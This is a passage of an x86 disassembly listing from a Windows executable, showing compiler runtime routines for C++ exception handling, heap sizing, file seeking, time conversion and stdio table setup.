loc_42204C: ; CODE XREF: sub_421FD1+74j cmp [esi], ebx jnz loc_42214D cmp dword ptr [esi+10h], 3 jnz short loc_42206A cmp [esi+14h], edi jnz short loc_42206A cmp dword ptr [esi+1Ch], 0 jnz short loc_42206A call sub_4227D2 loc_42206A: ; CODE XREF: sub_421FD1+41j ; sub_421FD1+46j ... cmp [esi], ebx jnz loc_42214D cmp dword ptr [esi+10h], 3 jnz loc_42214D cmp [esi+14h], edi jnz loc_42214D mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CCE7 add esp, 14h mov ebx, eax loc_4220A1: ; CODE XREF: sub_421FD1+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_422138 cmp [ebx], edi jg short loc_42212D cmp edi, [ebx+4] jg short loc_42212D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_42212A loc_4220C6: ; CODE XREF: sub_421FD1+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_4220F7 loc_4220D8: ; CODE XREF: sub_421FD1+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_422220 add esp, 0Ch test eax, eax jnz short loc_422106 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_4220D8 loc_4220F7: ; CODE XREF: sub_421FD1+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_4220C6 jmp short loc_42212A ; --------------------------------------------------------------------------- loc_422106: ; CODE XREF: sub_421FD1+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422331 add esp, 2Ch loc_42212A: ; CODE XREF: sub_421FD1+F3j ; sub_421FD1+133j mov edi, [ebp+var_10] loc_42212D: ; CODE XREF: sub_421FD1+DEj ; sub_421FD1+E3j inc [ebp+var_4] add ebx, 14h jmp loc_4220A1 ; --------------------------------------------------------------------------- loc_422138: ; CODE XREF: sub_421FD1+D6j cmp [ebp+arg_14], 0 jz short loc_422148 push 1 push esi call sub_4226A6 pop ecx pop ecx loc_422148: ; CODE XREF: sub_421FD1+56j ; sub_421FD1+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42214D: ; CODE XREF: sub_421FD1+37j ; sub_421FD1+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_422173 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422178 add esp, 20h jmp short loc_422148 ; --------------------------------------------------------------------------- loc_422173: ; CODE XREF: sub_421FD1+180j jmp sub_42277C sub_421FD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422178 proc near ; CODE XREF: sub_421FD1+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp ds:dword_4DDF64, 0 push esi push edi jz short loc_4221A9 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41CBBE add esp, 1Ch test eax, eax jnz short loc_42221C loc_4221A9: ; CODE XREF: sub_422178+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CCE7 add esp, 14h mov esi, eax loc_4221C5: ; CODE XREF: sub_422178+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_42221C cmp edi, [esi] jl short loc_422214 cmp edi, [esi+4] jg short loc_422214 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_4221EE cmp byte ptr [ecx+8], 0 jnz short loc_422214 loc_4221EE: ; CODE XREF: sub_422178+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422331 add esp, 2Ch loc_422214: ; CODE XREF: sub_422178+57j ; sub_422178+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_4221C5 ; --------------------------------------------------------------------------- loc_42221C: ; CODE XREF: sub_422178+2Fj ; sub_422178+53j pop edi pop esi leave retn sub_422178 endp ; =============== S U B R O U T I N E ======================================= sub_422220 proc near ; CODE XREF: sub_421FD1+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_422277 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_422277 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_422251 add ecx, 8 push ecx push edx call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_422273 loc_422251: ; CODE XREF: sub_422220+1Fj test byte ptr [esi], 2 jz short loc_42225B test byte ptr [edi], 8 jz short loc_422273 loc_42225B: ; CODE XREF: sub_422220+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_42226A test byte ptr [edi], 1 jz short loc_422273 loc_42226A: ; CODE XREF: sub_422220+43j test al, 2 jz short loc_422277 test byte ptr [edi], 2 jnz short loc_422277 loc_422273: ; CODE XREF: sub_422220+2Fj ; sub_422220+39j ... xor eax, eax jmp short loc_42227A ; --------------------------------------------------------------------------- loc_422277: ; CODE XREF: sub_422220+Bj ; sub_422220+14j ... push 1 pop eax loc_42227A: ; CODE XREF: sub_422220+55j pop edi pop esi retn sub_422220 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42227D proc near ; CODE XREF: sub_421F36+34p ; sub_422331+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4288C8 push offset sub_4237BC mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_4222AF: ; CODE XREF: sub_42227D+8Aj cmp esi, [ebp+arg_C] jz short loc_422309 cmp esi, 0FFFFFFFFh jle short loc_4222BE cmp esi, [edi+4] jl short loc_4222C3 loc_4222BE: ; CODE XREF: sub_42227D+3Aj call sub_4227D2 loc_4222C3: ; CODE XREF: sub_42227D+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4222DE push 103h push ebx push eax call sub_422730 loc_4222DE: ; CODE XREF: sub_42227D+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4222FE ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_42231B pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4222FE: ; CODE XREF: sub_42227D+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_4222AF ; --------------------------------------------------------------------------- loc_422309: ; CODE XREF: sub_42227D+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42227D endp ; =============== S U B R O U T I N E ======================================= sub_42231B proc near ; CODE XREF: sub_42227D+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_42232C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42232C: ; CODE XREF: sub_42231B+Cj jmp sub_42277C sub_42231B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422331 proc near ; CODE XREF: sub_421FD1+151p ; sub_422178+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422353 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4224E2 add esp, 10h loc_422353: ; CODE XREF: sub_422331+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42235F push edi jmp short loc_422362 ; --------------------------------------------------------------------------- loc_42235F: ; CODE XREF: sub_422331+29j push [ebp+arg_24] loc_422362: ; CODE XREF: sub_422331+2Cj call sub_41CAC0 mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_42227D mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_4223AC add esp, 2Ch test eax, eax jz short loc_4223A7 push edi push eax call sub_41CA7E loc_4223A7: ; CODE XREF: sub_422331+6Dj pop edi pop esi pop ebx pop ebp retn sub_422331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4223AC proc near ; CODE XREF: sub_422331+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4288D8 push offset sub_4237BC mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, ds:dword_4DDF5C mov [ebp+var_1C], ecx mov ecx, ds:dword_4DDF60 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov ds:dword_4DDF5C, edi mov ecx, [ebp+arg_8] mov ds:dword_4DDF60, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41CB45 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422472 mov eax, [ebp+var_2C] loc_422439: ; CODE XREF: sub_422452+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4223AC endp ; =============== S U B R O U T I N E ======================================= sub_422448 proc near ; DATA XREF: seg001:004288E8o push dword ptr [ebp-14h] call sub_4224B8 pop ecx retn sub_422448 endp ; =============== S U B R O U T I N E ======================================= sub_422452 proc near ; DATA XREF: seg001:004288ECo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41CDA6 pop ecx pop ecx xor eax, eax jmp short loc_422439 sub_422452 endp ; --------------------------------------------------------------------------- loc_42246A: ; DATA XREF: seg001:004288E0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422472 proc near ; CODE XREF: sub_4223AC+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov ds:dword_4DDF5C, eax mov eax, [ebp-20h] mov ds:dword_4DDF60, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_4224B7 cmp dword ptr [edi+10h], 3 jnz short locret_4224B7 cmp dword ptr [edi+14h], 19930520h jnz short locret_4224B7 cmp [ebp-24h], ebx jnz short locret_4224B7 cmp [ebp-2Ch], ebx jz short locret_4224B7 call sub_41CE0E push eax push edi call sub_4226A6 pop ecx pop ecx locret_4224B7: ; CODE XREF: sub_422472+1Cj ; sub_422472+22j ... retn sub_422472 endp ; =============== S U B R O U T I N E ======================================= sub_4224B8 proc near ; CODE XREF: sub_422448+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4224DF cmp dword ptr [eax+10h], 3 jnz short loc_4224DF cmp dword ptr [eax+14h], 19930520h jnz short loc_4224DF cmp dword ptr [eax+1Ch], 0 jnz short loc_4224DF push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4224DF: ; CODE XREF: sub_4224B8+Cj ; sub_4224B8+12j ... xor eax, eax retn sub_4224B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4224E2 proc near ; CODE XREF: sub_422331+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4288F0 push offset sub_4237BC mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_42268B cmp byte ptr [eax+8], 0 jz loc_42268B mov eax, [ecx+8] test eax, eax jz loc_42268B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_42257F mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_4249C0 pop ecx pop ecx test eax, eax jz loc_422682 push 1 push edi call sub_4249DC pop ecx pop ecx test eax, eax jz loc_422682 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422570: ; CODE XREF: sub_4224E2+F5j push eax call sub_42270D pop ecx pop ecx mov [edi], eax jmp loc_422687 ; --------------------------------------------------------------------------- loc_42257F: ; CODE XREF: sub_4224E2+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4225D9 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_4249C0 pop ecx pop ecx test eax, eax jz loc_422682 push 1 push edi call sub_4249DC pop ecx pop ecx test eax, eax jz loc_422682 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41CE80 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422687 mov eax, [edi] test eax, eax jz loc_422687 add esi, 8 push esi jmp short loc_422570 ; --------------------------------------------------------------------------- loc_4225D9: ; CODE XREF: sub_4224E2+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422621 call sub_4249C0 pop ecx pop ecx test eax, eax jz loc_422682 push 1 push edi call sub_4249DC pop ecx pop ecx test eax, eax jz short loc_422682 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_42270D pop ecx pop ecx push eax push edi call sub_41CE80 add esp, 0Ch jmp short loc_422687 ; --------------------------------------------------------------------------- loc_422621: ; CODE XREF: sub_4224E2+103j call sub_4249C0 pop ecx pop ecx test eax, eax jz short loc_422682 push 1 push edi call sub_4249DC pop ecx pop ecx test eax, eax jz short loc_422682 push dword ptr [esi+18h] call near ptr loc_4249F3+5 pop ecx test eax, eax jz short loc_422682 test byte ptr [esi], 4 jz short loc_422668 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_42270D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41CAB9 jmp short loc_422687 ; --------------------------------------------------------------------------- loc_422668: ; CODE XREF: sub_4224E2+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_42270D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41CAB2 jmp short loc_422687 ; --------------------------------------------------------------------------- loc_422682: ; CODE XREF: sub_4224E2+6Aj ; sub_4224E2+7Cj ... call sub_4227D2 loc_422687: ; CODE XREF: sub_4224E2+98j ; sub_4224E2+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_42268B: ; CODE XREF: sub_4224E2+2Ej ; sub_4224E2+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4224E2 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42277C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226A6 proc near ; CODE XREF: sub_421FD1+170p ; sub_422472+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428900 push offset sub_4237BC mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4226ED mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4226ED and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41CAB2 or [ebp+var_4], 0FFFFFFFFh loc_4226ED: ; CODE XREF: sub_4226A6+2Aj ; sub_4226A6+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4226A6 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42277C ; =============== S U B R O U T I N E ======================================= sub_42270D proc near ; CODE XREF: sub_4224E2+8Fp ; sub_4224E2+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_42272E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_42272E: ; CODE XREF: sub_42270D+12j pop esi retn sub_42270D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422730 proc near ; CODE XREF: sub_41CB45+40p ; sub_42227D+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41CE31 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42276F mov ecx, 2 loc_42276F: ; CODE XREF: sub_422730+38j push ecx call sub_41CE31 pop ebp pop ecx pop ebx leave retn 0Ch sub_422730 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42277C proc near ; CODE XREF: sub_421FD1:loc_422173j ; sub_42231B:loc_42232Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424A10 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428910 push offset sub_4237BC mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, ds:dword_4DDF68 test eax, eax jz short loc_4227C4 mov [ebp+var_4], 1 call eax jmp short loc_4227C0 ; --------------------------------------------------------------------------- loc_4227B9: ; DATA XREF: seg001:00428920o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4227BD: ; DATA XREF: seg001:00428924o mov esp, [ebp+var_18] loc_4227C0: ; CODE XREF: sub_42277C+3Bj and [ebp+var_4], 0 loc_4227C4: ; CODE XREF: sub_42277C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4227CD: ; DATA XREF: seg001:00428918o jmp loc_424A10 sub_42277C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227D2 proc near ; CODE XREF: sub_41CCE7+23p ; sub_41CCE7:loc_41CD52p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428928 push offset sub_4237BC mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, ds:off_43F554 test eax, eax jz short loc_42281A mov [ebp+var_4], 1 call eax ; sub_42277C jmp short loc_422816 ; --------------------------------------------------------------------------- loc_42280F: ; DATA XREF: seg001:00428938o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422813: ; DATA XREF: seg001:0042893Co mov esp, [ebp+var_18] loc_422816: ; CODE XREF: sub_4227D2+3Bj and [ebp+var_4], 0 loc_42281A: ; CODE XREF: sub_4227D2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422823: ; DATA XREF: seg001:00428930o jmp sub_42277C sub_4227D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422828 proc near ; CODE XREF: sub_41D1C3+7p ; sub_41D1C3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, ds:dword_4DF548 push esi cmp eax, 3 jnz short loc_422851 mov esi, [ebp+arg_0] push esi call sub_41E097 test eax, eax pop ecx jz short loc_42284E mov eax, [esi-4] sub eax, 9 jmp short loc_422886 ; --------------------------------------------------------------------------- loc_42284E: ; CODE XREF: sub_422828+1Cj push esi jmp short loc_422878 ; --------------------------------------------------------------------------- loc_422851: ; CODE XREF: sub_422828+Ej cmp eax, 2 jnz short loc_422875 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41EDF2 add esp, 0Ch test eax, eax jz short loc_422875 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422886 ; --------------------------------------------------------------------------- loc_422875: ; CODE XREF: sub_422828+2Cj ; sub_422828+43j push [ebp+arg_0] loc_422878: ; CODE XREF: sub_422828+27j push 0 push ds:dword_4DF544 call ds:dword_428058 ; RtlSizeHeap loc_422886: ; CODE XREF: sub_422828+24j ; sub_422828+4Bj pop esi leave retn sub_422828 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+8] sub ebx, 76Ch cmp ebx, 46h jl loc_422945 cmp ebx, 8Ah jg loc_422945 push esi push edi mov edi, [ebp+0Ch] mov esi, ds:dword_43FA1C[edi*4] add esi, [ebp+10h] test bl, 3 jnz short loc_4228C8 cmp edi, 2 jle short loc_4228C8 inc esi loc_4228C8: ; CODE XREF: seg000:004228C0j ; seg000:004228C5j call sub_424A27 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp-8], esi add edx, ecx mov [ebp-10h], ebx add eax, edx mov edx, [ebp+1Ch] lea ecx, [eax+eax*2] mov eax, [ebp+14h] mov [ebp-1Ch], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+18h] imul ecx, 3Ch add ecx, ds:dword_43F938 dec edi cmp dword ptr [ebp+20h], 1 mov [ebp-14h], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+8], ecx jz short loc_42293B cmp dword ptr [ebp+20h], 0FFFFFFFFh jnz short loc_422941 cmp ds:dword_43F93C, 0 jz short loc_422941 lea eax, [ebp-24h] push eax call sub_424C9A pop ecx mov ecx, [ebp+8] test eax, eax jz short loc_422941 loc_42293B: ; CODE XREF: seg000:00422919j add ecx, ds:dword_43F940 loc_422941: ; CODE XREF: seg000:0042291Fj ; seg000:00422928j ... mov eax, ecx jmp short loc_422948 ; --------------------------------------------------------------------------- loc_422945: ; CODE XREF: seg000:0042289Cj ; seg000:004228A8j or eax, 0FFFFFFFFh loc_422948: ; CODE XREF: seg000:00422943j pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_42294B proc near ; DATA XREF: seg002:0042A028o mov eax, ds:dword_4DF300 push esi push 14h test eax, eax pop esi jnz short loc_42295F mov eax, 200h jmp short loc_422965 ; --------------------------------------------------------------------------- loc_42295F: ; CODE XREF: sub_42294B+Bj cmp eax, esi jge short loc_42296A mov eax, esi loc_422965: ; CODE XREF: sub_42294B+12j mov ds:dword_4DF300, eax loc_42296A: ; CODE XREF: sub_42294B+16j push 4 push eax call sub_424F86 pop ecx mov ds:dword_4DE2E4, eax test eax, eax pop ecx jnz short loc_42299E push 4 push esi mov ds:dword_4DF300, esi call sub_424F86 pop ecx mov ds:dword_4DE2E4, eax test eax, eax pop ecx jnz short loc_42299E push 1Ah call sub_41DC49 pop ecx loc_42299E: ; CODE XREF: sub_42294B+30j ; sub_42294B+49j xor ecx, ecx mov eax, offset off_43F558 loc_4229A5: ; CODE XREF: sub_42294B+6Ej mov edx, ds:dword_4DE2E4 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43F7D8 jl short loc_4229A5 xor edx, edx mov ecx, offset dword_43F568 loc_4229C2: ; CODE XREF: sub_42294B+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, ds:dword_4DE1E0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4229DF test eax, eax jnz short loc_4229E2 loc_4229DF: ; CODE XREF: sub_42294B+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4229E2: ; CODE XREF: sub_42294B+92j add ecx, 20h inc edx cmp ecx, offset dword_43F5C8 jl short loc_4229C2 pop esi retn sub_42294B endp ; =============== S U B R O U T I N E ======================================= sub_4229F0 proc near ; DATA XREF: seg002:0042A038o ; FUNCTION CHUNK AT 00425037 SIZE 00000058 BYTES call sub_41DE07 cmp ds:byte_4DDEF4, 0 jz short locret_422A03 jmp loc_425037 ; --------------------------------------------------------------------------- locret_422A03: ; CODE XREF: sub_4229F0+Cj retn sub_4229F0 endp ; =============== S U B R O U T I N E ======================================= sub_422A04 proc near ; CODE XREF: seg000:0041D474p ; sub_41F33C+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, ds:dword_4DE2E0 push esi push edi jnb short loc_422A86 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DE1E0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_422A86 push eax call sub_423BA6 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_422A48 mov ds:dword_4DDEB4, 9 jmp short loc_422A97 ; --------------------------------------------------------------------------- loc_422A48: ; CODE XREF: sub_422A04+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call ds:dword_428120 ; SetFilePointer mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_422A68 call ds:dword_42808C ; RtlGetLastWin32Error jmp short loc_422A6A ; --------------------------------------------------------------------------- loc_422A68: ; CODE XREF: sub_422A04+5Aj xor eax, eax loc_422A6A: ; CODE XREF: sub_422A04+62j test eax, eax jz short loc_422A77 push eax call sub_4205FF pop ecx jmp short loc_422A97 ; --------------------------------------------------------------------------- loc_422A77: ; CODE XREF: sub_422A04+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_422A9A ; --------------------------------------------------------------------------- loc_422A86: ; CODE XREF: sub_422A04+Dj ; sub_422A04+2Aj and ds:dword_4DDEB8, 0 mov ds:dword_4DDEB4, 9 loc_422A97: ; CODE XREF: sub_422A04+42j ; sub_422A04+71j or eax, 0FFFFFFFFh loc_422A9A: ; CODE XREF: sub_422A04+80j pop edi pop esi pop ebx retn sub_422A04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422A9E proc near ; CODE XREF: seg000:0041D437p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_422ABA mov [edi+4], ebx loc_422ABA: ; CODE XREF: sub_422A9E+17j push 1 push ebx push esi call sub_422A04 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_422B28 mov edx, [edi+0Ch] test dx, 108h jnz short loc_422ADF sub eax, [edi+4] jmp loc_422BF1 ; --------------------------------------------------------------------------- loc_422ADF: ; CODE XREF: sub_422A9E+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422B19 mov edx, esi mov ebx, esi 